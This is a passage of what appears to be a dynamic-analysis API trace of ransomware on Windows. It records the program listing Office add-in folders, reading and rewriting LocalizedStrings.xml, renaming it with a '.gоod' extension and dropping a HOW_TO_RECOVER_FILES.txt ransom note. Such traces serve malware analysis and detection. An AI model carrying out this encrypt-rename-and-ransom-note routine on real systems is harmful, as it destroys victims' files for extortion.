cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0234.485] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a30a43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0234.485] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a77594, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a77594, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a77594, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0234.486] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x688d06d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x688d06d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20d030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0234.486] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0234.486] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0234.486] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0234.486] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ad77c9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ad77c9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0234.487] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6223b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6223b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0234.487] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd422, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfbd422, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0234.487] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0234.487] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0234.487] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc3e44f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc3e44f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc3e44f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x73ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0234.487] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0234.488] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0234.488] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18d43c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0234.488] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x54ef2e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x54ef2e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0234.488] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d9e0b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d9e0b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0234.488] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d9e0b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d9e0b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0234.488] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0234.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0234.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0234.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0234.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0234.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3ca8b00 | out: lpFileInformation=0x3ca8b00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f7)) returned 1 [0234.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0234.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0234.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0234.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0234.601] GetFileType (hFile=0x858) returned 0x1 [0234.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0234.601] GetFileType (hFile=0x858) returned 0x1 [0234.601] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0234.601] ReadFile (in: hFile=0x858, lpBuffer=0x3889b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3889b60*, lpNumberOfBytesRead=0x206ec9c8*=0x2f7, lpOverlapped=0x0) returned 1 [0234.640] CloseHandle (hObject=0x858) returned 1 [0234.640] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0234.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0234.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0234.640] GetFileType (hFile=0x858) returned 0x1 [0234.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0234.640] GetFileType (hFile=0x858) returned 0x1 [0234.640] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x12f7 [0234.640] WriteFile (in: hFile=0x858, lpBuffer=0x38eb360*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x38eb360*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0234.641] CloseHandle (hObject=0x858) returned 1 [0234.641] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0234.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0234.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0234.641] GetFileType (hFile=0x858) returned 0x1 [0234.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0234.641] GetFileType (hFile=0x858) returned 0x1 [0234.641] ReadFile (in: hFile=0x858, lpBuffer=0x38ed670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x38ed670*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0235.560] CloseHandle (hObject=0x858) returned 1 [0235.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0235.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0235.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.560] GetFileType (hFile=0x858) returned 0x1 [0235.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0235.560] GetFileType (hFile=0x858) returned 0x1 [0235.560] WriteFile (in: hFile=0x858, lpBuffer=0x382c0b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x382c0b8*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0235.561] CloseHandle (hObject=0x858) returned 1 [0235.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0235.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0235.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0235.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x889f5418, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1307)) returned 1 [0235.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0235.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml.gоod")) returned 1 [0235.563] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0235.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0235.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0235.564] GetFileType (hFile=0x858) returned 0x1 [0235.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0235.564] GetFileType (hFile=0x858) returned 0x1 [0235.565] WriteFile (in: hFile=0x858, lpBuffer=0x39ed610*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x39ed610*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0235.566] CloseHandle (hObject=0x858) returned 1 [0235.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0235.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg", lpFilePart=0x0) returned 0x51 [0235.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0235.567] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.568] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1639, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0235.568] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d76e38, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0235.568] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0235.568] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0235.568] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c75fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c75fa, 